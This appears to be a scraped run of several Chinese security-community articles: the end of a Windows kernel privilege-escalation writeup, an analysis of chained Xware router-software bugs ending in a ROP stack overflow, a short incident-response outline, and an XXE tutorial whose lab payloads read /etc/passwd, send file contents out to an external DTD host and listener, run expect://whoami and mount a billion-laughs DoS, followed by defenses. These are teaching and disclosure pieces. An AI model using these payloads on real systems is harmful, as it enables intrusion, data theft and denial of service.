对MNGetpItemFromIndex后续的代码进行分析，MNGetpItemFromIndex返回后回到MNGetpItem函数，在MNGetpItem函数中未对返回值进行任何操作直接返回。MNGetpItem函数返回后回到xxxMNUpdateDraggingInfo函数，对xxxMNUpdateDraggingInfo函数进行分析，只发现有对result指针进行取值判断的代码，没有发现对result指向数据进行修改的代码。虽然没有直接修改的代码，但是分析发现在xxxMNUpdateDraggingInfo函数的结尾会调用xxxMNSetGapState函数两次，在第二次会传入pMenuWnd的指针和`*(v3
+ 0x3C)`，而`*(v3 +
0x3C)`也是上图调用MNGetpItem函数的参数。现在知道了如何修改数据，现在分析如何通过代码来准确的控制result的值。通过MNGetpItemFromIndex函数知道result的值是由两个变量运算后相加得到，而这两个变量都可以控制，其中a1是菜单对象指针，a2是菜单项的索引。简单的想法就是直接把a2设置为0，直接把任意地址赋给`*(a1
+ 0x34)`，因为a1为零地址所以`*(a1 + 0x34)`的可以修改为任意值。但是在实际的测试中发现这样做并不行，因为后面会对`*(a1 +
0x34)`当成菜单项指针获取数据用于验证，若`*(a1 +
0x34)`为任意地址则附近的数据不可控，这样可能导致后面的验证不通过。最好的办法就是让`*(a1
+ 0x34)`在零页内存上，这样可以控制`*(a1 +
0x34)`的数据用于后续的验证。假设任意地址的值为addr，可以按如下来设置a1和a2的值。
任意地址读写
上文的代码可以实现任意地址与0x80000000进行或运算，直接看可能意义不大，但是可以把这个值转到其它数据结构中去看，比如可以用来修改其它结构表示大小的字段，这样或许就能使该结构覆盖其它数据，再通过一些结构的函数就可以完成任意读写。
在这里使用tagWND结构体的cbWNDExtra成员，该成员8字节表示窗口附加数据的大小，默认情况下cbWNDExtra大小为0。在之前需要获取cbWNDExtra成员在内核中的偏移。为了获取cbWNDExtra成员的偏移，可以创建了两个窗口WindowA和WindowB，将这两个窗口的窗口类的cbWndExtra成员设置为不同的值。而窗口类的cbWNDExtra正好对应tagWND的
cbWNDExtra成员，创建窗口之后就是获取cbWNDExtra成员在tagWND结构体中的偏移。首先就要获取tagWND结构的地址，获取tagWND可以使用HMValidateHandle函数，这个函数在很多内核漏洞利用代码中都会使用，这里就不单独进行说明。在获取tagWND的地址后，通过扫描WindowA和WindowB的cbWNDExtra成员的值来获取cbWNDExtra成员的偏移。
获取了cbWNDExtra的偏移，还需要获取保存额外数据的偏移。可以使用SetWindowLong函数向窗口写入额外数据，在使用与获取cbWNDExtra偏移相同的方法来扫描写入的额外数据，进而获取额外数据的偏移。提权
有了任意地址读写就可以获取system进程的Token，再使用system进程的Token覆盖当前进程的Token，完成提权操作。有了任意读写的能力后替换Token的办法有很多，可以覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()
函数指针后，调用NtQueryIntervalProfile函数执行shellcode，在shellcode中去完成提权。也可以通过tagWND对象来一层层去获取EPROCESS，在EPROCESS中就能获取ActiveProcessLinks，UniqueProcessId，Token，就可以遍历进程获取Token，通过写操作完成提权。 | 社区文章 |
本文来源：[ **长亭技术专栏**](https://zhuanlan.zhihu.com/p/26271959)
作者： **杨坤**
## **写在前面**
很多技术宅们都喜欢折腾自己的路由器，例如在上面搭建NAS、配置远程下载和使用代理上网，这些技术和相关软件能帮助大家在硬盘里搜集大量的娱乐、教育资源。
不过大家在网上下载和使用第三方软件时要小心啦，要多关注软件的安全更新。长亭安全研究实验室在2016年5月通过GeekPwn向华为PSIRT报告了迅雷固件Xware的多个漏洞，这些漏洞不仅存在于华为荣耀路由默认支持的远程下载功能中，也会影响使用Xware的其他路由器或Linux服务器。在收到漏洞报告后，华为官方迅速给出了修复，华为荣耀路由早已不受影响。不过，迅雷官方在2016年2月就已经宣布停止维护该固件，github上基于Xware的一些开源项目也因此弃坑（例如[Xinkai/XwareDesktop](http://link.zhihu.com/?target=https%3A//github.com/Xinkai/XwareDesktop)和[PointTeam/PointDownload](http://link.zhihu.com/?target=https%3A//github.com/PointTeam/PointDownload)）。目前散落在网上的软件版本很可能是未得到修复的，在这里建议大家尽量避免使用已过期且无官方支持的Xware软件。
在本文中，笔者会给大家分享一下漏洞的细节和利用思路。阅读本文不需要任何安全研究方面的经验，只需要一点点栈溢出的基本知识。还不知道栈溢出的读者请移步长亭技术专栏的《手把手教你栈溢出从入门到放弃》上下两篇文章，如果您读完后真的准备放弃，那不妨试试本文，或许本文能给你一次重新选择的机会。
## **说点历史**
栈溢出攻击的相关概念最早要追述到1972年美国空军发表的一份研究报告《Computer Security Technology Planning
Study》。在这份报告中，通过溢出缓冲区来注入代码这一想法首次被提了出来。大家来感受一下最早的描述原文：
栈溢出的概念虽然早就提出，但直到1988年才出现了首次真实的攻击，Morris蠕虫病毒利用了Unix操作系统中fingerd程序的gets()函数导致的栈溢出来实现远程代码执行。
1996年，Elias Levy (a.k.a Aleph One)在大名鼎鼎的Phrack杂志上发表了文章《Smashing the Stack for
Fun and Profit》，从此栈溢出漏洞的利用技术被广泛知晓。
也许有读者会疑惑，栈溢出这样的低级错误现在还存在吗？本文要介绍的几个2016年发现的漏洞中，最为关键的一个漏洞就是栈溢出。从最早提出这一概念的1972年到现在已经有四十多年的历史，经历了将近半个世纪，程序员们依然会在这一看似简单的问题中跌倒。这一情况并非个案，在路由器这类嵌入式设备中依然普遍存在，长亭安全研究实验室在2016年GeekPwn中攻破了10款路由器，利用的漏洞中大多数还是栈溢出。而即便是经历了多年发展PC端操作系统，也同样存在栈溢出：在Pwn2Own
2017上，来自美国的Richard Zhu找到了Mac操作系统中的栈溢出漏洞。
来到2017年的今天，面对栈溢出，我们依然不能说放弃。
## **路由器被搞，有哪些危害？**
路由器作为家庭上网的入口，其安全重要性不言而喻。家里所有智能设备、电脑都需要通过连接路由器上网，一旦路由器沦陷，攻击者就可以看到所有明文上传和下载的流量。还记得2016年的央视315晚会吗？节目现场就演示了在WiFi端截获手机App的上网流量，其中包含姓名、电话、生日、家庭地址、订单等隐私信息。更严重的是，攻击者还可能通过篡改流量进一步入侵连接这台路由器的设备，例如在你下载某一个Windows安装包或者安卓应用APK文件时，偷偷将其替换成植入后门的版本。
## **不开防火墙，后果很严重**
路由器有哪些可能被入侵的途径呢？一般来说，家用路由器用于组建家庭局域网（LAN）。对于公网连接的部分（WAN口），路由器往往都配置了防火墙，禁止了公网对路由器自身服务的访问，这样即便路由器存在漏洞，也不至于暴露在“大庭广众”之下。长亭安全研究实验室就在GeekPwn上披露过一款在此问题上出现疏忽的路由器，这就导致攻击者可以直接在公网上利用路由器的漏洞来入侵成千上万个目标。
## **入侵路由两步走**
对于大多数开启防火墙的路由器来说，入侵的第一步就是接入路由器局域网络（LAN），这一步有好多种方法可以尝试：Wifi万能钥匙、破解WEP加密、破解WPS
PIN码、使用字典爆破Wifi密码等等。而对于公共场合的路由器来说，这一步就不是问题了，Wifi密码是公开的，任何人都可以直接接入。
接入路由器网络后，第二步就是利用路由器自身的缺陷来取得路由器的完全控制权，本文介绍的案例漏洞就是用在这一步。路由器的漏洞主要存在于自身开启的软件服务当中，例如几乎每个路由器都会有一个开启在80端口的Web管理界面，还有其他常见服务例如用于分配IP地址的服务DHCP、即插即用服务UPnP等，这些服务会监听在某个TCP/UDP端口，接入路由器网络的攻击者可以通过向这些端口发送特定数据包来实施各种类型的攻击，例如权限绕过、命令注入、内存破坏等。
说完了攻击的场景，让我们回到本文的目标上来。如果路由器自带或者手动配置了迅雷远程下载功能，Xware软件会监听一些端口，其中包含一个处理HTTP协议的端口，在某款路由器上为9000，本文介绍的漏洞就是跟这个服务有关。大家可以在[这里](http://link.zhihu.com/?target=http%3A//luyou.xunlei.com/thread-15167-1-1.html)下载官方停止维护之前放出的最后一个版本。
## **一串漏洞来袭**
官方提供的Xware软件以及路由器固件中自带的Xware软件都只有编译好的二进制文件，通过逆向分析，我们一共发现了三个问题，每个问题单独来看都无法造成严重影响，但是三个漏洞经过组合利用便可以达到远程任意代码执行的效果。
### 漏洞一：你真的会用snprintf吗：信息泄漏
学过C语言的同学都知道snprintf函数的用法，这是最基本的字符串处理函数之一。基本形式如下：
int snprintf(char *str, size_t size, const char *format, ...);
众所周知，我们可以通过指定snprintf的第二个参数size来防止缓冲区溢出的发生，然而你是否真正理解snprintf返回值的含义？大家先来看看下面几行代码，猜猜代码的输出是什么：
int main() {
char buf[8];
int n = snprintf(buf, 8, "%s", "1234567890");
printf("buf: %s\n", buf);
printf("n: %d\n", n);
}
相信第一个buf的输出难不倒大多数人，而返回值n的输出一定会让一部分人吃惊：
buf: 1234567
n: 10
难道snprintf函数返回的不是打印字符的个数吗？让我们来查一查文档，下面是摘录自man中的一段解释：
The functions snprintf() and vsnprintf() do not write more than size bytes
(including the terminating null byte (’\0’)). If the output was truncated due
to this limit, then the return value is **the number of characters which would
have been written to the final string if enough space had been available**.
Thus, a return value of size or more means that the output was truncated.
确实，snprintf返回的是打印字符的个数，但是这个数字是在假设没有第二个参数size限制的情况下统计的。这一细节同样困惑了Xware开发人员，我们来看一看存在漏洞的代码（下图为IDA的反编译结果）：
在上面这段代码中，snprintf的返回值v19被用作HTTP响应包的实际长度传入em_comm_send函数。HTTP响应包的实际长度实际上会受到snprintf的第二个参数0x100的限制，但返回的长度v19实际上没有这个限制，因此http响应在有些情况下会输出超过0x100的字符，buf缓冲区后面的数据会被返回。buf缓冲区实际分配在堆上，因此这个漏洞能够用来泄露堆上的数据。
触发漏洞时返回的HTTP响应数据如下所示：
这个漏洞的CVE编号是CVE-2016-5367。
### 漏洞二：INI配置注入漏洞
INI是一种常见的初始化配置文件格式，INI就是Initialization的前三个字母。INI文件的格式非常简单，由多个节（Section）组成，每个节由一行行的键值对组成，如下所示：
[section1]
key1=value1
key2=value2
[section2]
key3=value3
Xware的HTTP服务存在一个登录接口login，该接口会解析HTTP请求中cookie里的一些参数，并将值保存入ini配置文件中。例如cookie =
"isvip=0; jumpkey=A; usernick=B; userid=1"时，ini配置文件中会写入用户相关的参数，样例配置文件如下：
[license]
server_addr=X.X.X.X
[huiyuan]
userid=1
username=B
vip_level=0
jumpkey=A
细心的话会发现在ini配置文件中，不同的键值对都是通过换行来区分。如果键或值中存在换行符怎么办？假如我们尝试给出这样的cookie = “isvip=0;
jumpkey=A\n\n[license]\nserver_addr=1.3.3.7; usernick=B;
userid=1”，那么写入配置文件的就是：
[license]
server_addr=X.X.X.X
[huiyuan]
userid=1
username=B
vip_level=0
jumpkey=A
[license]
server_addr=1.3.3.7
这样我们就可以在ini文件后面的位置插入一个新的配置，来修改文件前面的默认配置，此例中我们修改的是server_addr的值。
本身通过cookie来设置的配置项只能是huiyuan这个节中的指定键，通过在值中插入换行符，我们就实现了任意配置选项的注入。
这个漏洞的CVE编号是CVE-2016-5366。
### 漏洞三：发生在2016年的栈溢出
利用上述漏洞，在配置文件中把默认的license server改掉能有什么用呢？
幸运的是，Xware的这个HTTP服务器还暴露了一个接口可以重启Xware软件，攻击者可以随时调用它，来让程序在重启时解析被我们注入过的INI配置文件。所以让我们看看程序在初始化过程中对配置文件中的license
server做了什么。
通过逆向分析，我们找到了解析license server的相关代码：
解析server地址和端口的代码在parse_server_addr函数中：
此处代码明显存在溢出，首先memcpy函数在使用时指定的拷贝长度只与源字符串有关，其次在另个分支中直接使用了危险函数strcpy。两处拷贝的目标缓冲区v4，即传入parse_server_addr的第二个参数，实际是在上层函数中栈上的局部buffer，因此这里的溢出是典型的栈溢出。
这个漏洞的CVE编号是CVE-2016-5365。
## **漏洞利用：“组合拳”**
上面三个漏洞每个漏洞单独看都无法造成严重影响，即便是栈溢出漏洞也是发生在解析初始化INI配置文件的过程中，一般人都会认为配置文件中的选项都是写死的，例如这里的license
server地址，就算用strcpy也不必担心。然而如果我们把这几个小问题组合在一起使用时，会出现怎样的威力呢？
首先我们可以通过堆内存的泄露找到libc库加载的地址，因为通常linux采用的是dlmalloc/ptmalloc，堆上空闲的块中会包含指向libc全局变量的指针（具体参考堆的实现，这里不作展开）。目前大多MIPS/ARM架构的路由器都没有开启地址随机化保护（ASLR），泄露的这个地址往往是不变的。
接下来我们可以利用INI配置注入漏洞，往INI配置文件中注入超长的license server地址，并在其中植入ROP
payload。由于我们已经知道libc的地址，我们就能够使用libc中的gadget来组ROP。
最终，只要我们调用重启Xware的接口，Xware就会重新解析INI配置文件，并在这个过程中触发栈溢出，从而执行我们的ROP代码。
我们用下面的流程图来总结这三个漏洞的组合利用过程：
## **后记**
本文以一个真实案例给大家介绍了栈溢出漏洞造成的危害。根据长亭安全研究实验室的研究经验，像这样的栈溢出的案例在智能设备上还有很多很多。目前市面上的智能设备种类和品牌可谓百花齐放，这些产品在安全性的设计和实现上参差不齐。如果单从安全性考量，笔者建议读者在选购时选择大厂商自主研发的产品，因为大品牌厂商不仅在研发经验上有更多的积累，而且在对待安全问题的态度上也是积极正面的。也建议大家在使用智能设备时，多关注官方的动态和安全补丁的发布，及时更新固件。
## **参考资料**
* [手把手教你栈溢出从入门到放弃（上）](https://zhuanlan.zhihu.com/p/25816426)
* [手把手教你栈溢出从入门到放弃（下）](https://zhuanlan.zhihu.com/p/25892385)
* [安全预警 -华为荣耀路由器产品中存在多个安全漏洞](http://link.zhihu.com/?target=http%3A//www.huawei.com/cn/psirt/security-advisories/huawei-sa-20160607-01-honorrouter-cn)
* [Xware停止维护官方公告](http://link.zhihu.com/?target=http%3A//g.xunlei.com/thread-15460-1-1.html)
* [Xware支持的路由器列表](http://link.zhihu.com/?target=http%3A//luyou.xunlei.com/thread-7465-1-1.html)
* * * | 社区文章 |
### Author：ttgo2
安全应急响应是企业的重要的一个保障手段，非常必要，如何没有遭受安全威胁的公司，可能不能感同身受，这里小编抛砖引玉，给大家分享一下安全应急响应那点事情。
一、建立公司的安全应急响应的执行流程；
企业的应急响应过程是一套整套的流程，考验了公司运营团队对突发事件的应急处理的能力，公司处理应急事件的时候，往往日常都会对应急过程经行了预演
因为安全问题需要紧急响应，并处理问题，恢复业务往往不是一个部门可以搞定的。这里面需要很多资源的协调，都需要多个部门的通力合作，因此应急的流程体系很重要，配合的好，往往问题会很快解决。企业业务不同，执行的流程也不尽相同，整体抽象出来为如下几步：
1、事件发生（运维监控人员、客服审核人员等），发现问题的开始，及时通报
2、事件确认：判断事件的严重性，评估出问题的严重等级，是否向上进行汇报等
3、事件响应：各部门通力合作，处理安全问题，具体解决阶段。
4、事件关闭：处理完事件之后，需要关闭事件，并写出安全应急处理分析报告，完成整个应急过程。
简单拓扑如下：仅供参考
二、公司安全演练参与人员及职责
参与应急演练的主要人员，分为：
安全监控与拨测人员、
安全应急调度人员、
安全应急人员（运维、开发、测试等人员）、
安全应急决策人员。
这里要是全部展开，内容太多，因此具体的人员职责这里不在详述了。感兴趣的朋友可以私聊或者评论。
三、应急小组联系表 | 社区文章 |
**欢迎关注我的公众号《壳中之魂》**
# WEB安全部分
想要了解XXE，在那之前需要了解XML的相关基础
# **XML基础**
## **XML语法**
1. 所有的XML元素都必须有一个关闭标签
2. XML标签对大小写敏感
3. XML必须正确嵌套
4. XML 文档必须有根元素
5. XML属性值必须加引号
实体引用，在标签属性，以及对应的位置值可能会出现<>符号，但是这些符号在对应的XML中都是有特殊含义的，这时候我们必须使用对应html的实体对应的表示，比如<对应的实体就是<，>符号对应的实体就是>
在XML中，空格会被保留，如：`<p>a空格B</p>`，这时候a和B之间的空格就会被保留
## **XML结构**
### XML文档声明
`<?xml version="1.0" encoding="utf-8"?>`
### 元素
元素是 XML 以及 HTML 文档的主要构建模块，元素可包含文本、其他元素或者是空的。
<body>body text in between</body>
<message>some message in between</message>
空元素有例如：hr、br、img
### 属性
属性可提供有关元素的额外信息
`<img src="computer.gif"/>`
其中，src为属性
### 实体
参考文章：[(38条消息) XML中实体的概念_janchin的专栏-CSDN博客_xml实体](https://blog.csdn.net/janchin/article/details/46849209%22%20/h)
实体分为四种类型，分别为：
* 字符实体
* 命名实体
* 外部实体
* 参数实体
## **文档类型定义--DTD**
DTD是用来规范XML文档格式，既可以用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合，也用来将一些特殊字符和可复用代码段自定义为实体
DTD可以嵌入XML文档当中（内部声明），也可以以单独的文件存放（外部引用）
参考文章：[DTD 简介
(w3school.com.cn)](https://www.w3school.com.cn/dtd/dtd_intro.asp%22%20/h)
### **DTD内部声明**
假如 DTD 被包含在您的 XML 源文件中，它应当通过下面的语法包装在一个 DOCTYPE 声明中：
`<!DOCTYPE 根元素 [元素声明]>`
内部声明DTD示例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
以上 DTD 解释如下：
* !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
* !ELEMENT note (第三行)定义 note 元素有四个元素："to、from、heading,、body"
* !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
* !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
* !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
* !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
### **DTD外部引用**
假如 DTD 位于 XML 源文件的外部，那么它应通过下面的语法被封装在一个 DOCTYPE 定义中：
`<!DOCTYPE 根元素 SYSTEM "文件名">`
这个 XML 文档和上面的 XML 文档相同，但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd：
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
### **PCDATA**
PCDATA 的意思是被解析的字符数据（parsed character data）。
PCDATA
是会被解析器解析的文本。这些文本将被解析器检查实体以及标记，文本中的标签会被当作标记来处理，而实体会被展开，值得注意的是，PCDATA不应包含&、<和>字符，需要用&
< >实体替换，又或者是使用CDATA
### **CDATA**
CDATA 的意思是字符数据（character data）。
CDATA 是不会被解析器解析的文本。
在XML中&、<字符是属于违法的，这是因为解析器会将<解释为新元素的开始，将&解释为字符实体的开始，所以当我们有需要使用包含大量&、<字符的代码，则可以使用CDATA
CDATA由结束，在CDATA当中，不能包含]]>字符串，也不能嵌套CDATA，结尾的]]>字符串不能包含任何的空格和换行
### **DTD实体**
参考文章：[DTD - 实体
(w3school.com.cn)](https://www.w3school.com.cn/dtd/dtd_entities.asp%22%20/h)
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。
实体又分为一般实体和参数实体
1，一般实体的声明语法:
引用实体的方式：&实体名；
2，参数实体只能在DTD中使用，参数实体的声明格式：
引用实体的方式：%实体名；
**内部实体**
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;©right;</author>
**外部实体**
外部实体，用来引入外部资源。有SYSTEM和PUBLIC两个关键字，表示实体来自本地计算机还是公共计算机
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;©right;</author>
不同程序支持的协议不同
LIBXML2 | PHP | JAVA | .NET
---|---|---|---
file | file | http | file
http | http | https | http
ftp | ftp | ftp | https
| php | file | ftp
| compress.zlib | jar |
| compress.bzip2 | netdoc |
| data | mailto |
| glob | gopher * |
| phar |
其中php支持的协议会更多一些，但需要一定的扩展支持。
# **XXE**
XXE即XML外部实体注入，由上面可知，外部实体指的就是DTD外部实体，而造成XXE的原因是在解析XML的时候，对恶意的外部实体进行解析导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
如何判断
## **如何判断是否存在XXE**
以bwapp靶场为例
首先查看http头，观察是否有XML相关字符串
再判断是否解析了XML内容
发现修改内容后服务器回解析相应的内容
## **XXE可导致的危害**
### **读取文件**
最主要使用的是使用XXE来读取文件，这里我使用bwapp靶场作为环境
_我搭建环境的时候使用php版本为5.2.17的环境，我是使用phpstudy搭建的环境，如果php版本大于5.2.17或者使用docker环境(php版本为5.5.9)会导致没有回显，当然可能只是我的环境问题，但是如果以low难度进行注入时使用正确的payload都是显示An
error occured!的话，可以尝试使用我的方法_
**有回显**
首先先进入XXE漏洞的测试界面
<http://192.168.0.105/bwapp/xxe-1.php>
进行抓包，发现存在text/xml
通过修改数据，观察服务器是否会解析XML的内容
确定服务器会解析XML内容，就可以自己构造注入了
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "file:///d:/robots.txt">
]>
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>
XML的外部实体“bee”被赋予的值为：file:///d:/robots.txt，当解析xml文档时，bee会被替换为file:///d:/robots.txt的内容。就被执行回显回来了。
**无回显(Blind XXE)**
但是在实际环境中XML大多数时候并非是为了输出用，所以很多时候是不会有输出的，这样即使XML被解析了但是是无法直接读取文件的，所以我们需要外带数据，把数据发送出来读取
靶场环境：[Vulhub - Docker-Compose file for vulnerability
environment](https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/%22%20/h)
搭建好环境后先进入此页面[http://192.168.3.25:8983/solr/#/demo/query](http://192.168.3.25:8983/solr/#/demo/query%22%20/h)，然后点击提交，进行抓包，并把包发送到重放器
在本地主机（使用桥接）或者是云服务器，反正能让目标服务器连接到的ip的主机即可，在此服务器上创建dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">
创建完后修改包内的payload
`/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser`
该payload解码后为
`<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM
"http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser`
注意，[http://192.168.3.35/xxe.dtd这句需要改为自己的地址，同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码，直接复制上去就好了](http://192.168.3.35/xxe.dtd这句需要改为自己的地址，同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码，直接复制上去就好了)
以上情况是当php报错时将里面的数据，如果php没有报错则使用下面的方法
首先先监听端口，然后在上面的基础上修改一下dtd文件
<!ENTITY % file SYSTEM "file:///h:/test.txt">
<!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">
在连接后面附上监听的端口，发送后会在监听处收到信息，如果没有可以尝试查看服务器日志
这里用一下别人的图
参考链接：[XXE漏洞详解——进阶篇 -FreeBuf网络安全行业门户](https://www.freebuf.com/articles/web/256728.html%22%20/h)
但是我这里复现没有成功，也有可能是直接通过报错读出文件的原因，但是还是记录一下这种情况
**读取PHP等文件**
由于一些文件，如php文件内含有<等字符，在读取的时候想、解析器会将这些解析为xml语言导致语法错误，所以为了避免这种情况出现使用伪协议来读取
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">
]>
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>
**端口探测**
同样使用bwapp靶场作为环境
前面的流程基本一致，抓包后构造注入
在http连接后跟端口，如果端口开启，则会显示 failed to open stream: HTTP request
failed!，否则不显示（或者显示failed to open stream: Connection refuse!或500状态码）
我这里使用phpstudy作为环境，所以开启了3306端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY bee SYSTEM "http://192.168.3.25:3306">
]>
测试666端口，机器没有开启，所以在发送包后获取响应包需要很长一段时间，最后报500错误码
测试1234端口，本机同样为开启，也是等待了一小会才获取到的响应包
**远程命令执行RCE**
要想要RCE需要使用expect协议，其他协议也有可能可以执行命令
expect需要安装expect拓展
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY bee SYSTEM "expect://whoami">
]>
**DDOS攻击**
参考文章：[XXE从入门到放弃 - 安全客，安全资讯平台
(anquanke.com)](https://www.anquanke.com/post/id/197423#h3-4%22%20/h)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "abc">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
该攻击通过创建一项递归的 XML 定义，在内存中生成十亿个”abc”字符串，从而导致 DDoS
攻击。原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。
**防御XXE**
方案一、使用开发语言提供的禁用外部实体的方法
PHP：
libxml_disable_entity_loader(true);
JAVA:看下面的代码审计
Python：
第三方模块lxml按照修改设置来改就可以
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
def xxe():
tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
# tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
return etree.tostring(tree.getroot())
尝试改用defusedxml 是一个纯 Python 软件包，它修改了所有标准库 XML 解析器的子类，可以防止任何潜在的恶意操作。 对于解析不受信任的XML数据的任何服务器代码，建议使用此程序包。
方案二、过滤用户提交的XML数据
关键词：<!DOCTYPE和<!ENTITY，或者，SYSTEM和PUBLIC。
不允许XML中含有任何自己声明的DTD
有效的措施：配置XML parser只能使用静态DTD，禁止外来引入；对于Java来说，直接设置相应的属性值为false即可
参考文章：[(38条消息) XXE详解_bylfsj的博客-CSDN博客_xxe](https://blog.csdn.net/bylfsj/article/details/101441734%22%20/h)
# JAVA代码审计部分
XXE为XML External Entity
Injection的英文缩写，当开发人员允许xml解析外部实体时，攻击者可构造恶意外部实体来达到任意文件读取、内网端口探测、命令执行、拒绝服务攻击等方面的攻击。
产生XXE有三个条件，首先是解析了XML，其次是XML外部可控。最后是没有禁用外部实体
# **XML常见接口**
**XMLReader**
XMLReader接口是一种通过回调读取XML文档的接口，其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口，其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序，以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时，会出现XXE漏洞
**SAXBuilder**
SAXBuilder是一个JDOM解析器，其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务，并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时，会出现XXE漏洞
**SAXReader**
DOM4J是dom4j.org出品的一个开源XML解析包，使用起来非常简单，只要了解基本的XML-DOM模型，就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包，它有DOMReader和SAXReader两种方式。因为使用了同一个接口，所以这两种方式的调用方法是完全一致的。同样的，在使用默认解析方法并且未对XML进行过滤时，其也会出现XXE漏洞。
**SAXParserFactory**
SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法，可以强制使用newInstance()。跟上面介绍的一样，在使用默认解析方法且未对XML进行过滤时，其也会出现XXE漏洞。
**Digester**
Digester类用来将XML映射成Java类，以简化XML的处理。它是Apache Commons库中的一个jar包：common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的，我们一般需通过Blind XXE的方法来利用
**DocumentBuilderFactory**
javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象，DocumentBuilderFactory是一个抽象工厂类，它不能直接实例化，但该类提供了一个newInstance()方法，这个方法会根据本地平台默认安装的解析器，自动创建一个工厂的对象并返回。
# **接口代码审计 &修复**
通过了解XXE的原理了解到防御XXE只需要做到以下几点
1、不解析XML，但是有的时候业务需要
2、禁用dtd，同样很多时候无法实现
3、禁用外部实体和参数实体
对大部分时候，都可以通过设置feature来控制解析器的行为
// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs，最少采取以下措施，必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC
如果是启用了XIclude则要在feature规则前添加
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
以下代码均出于：[java-sec-code/XXE.java at master · JoyChou93/java-sec-code
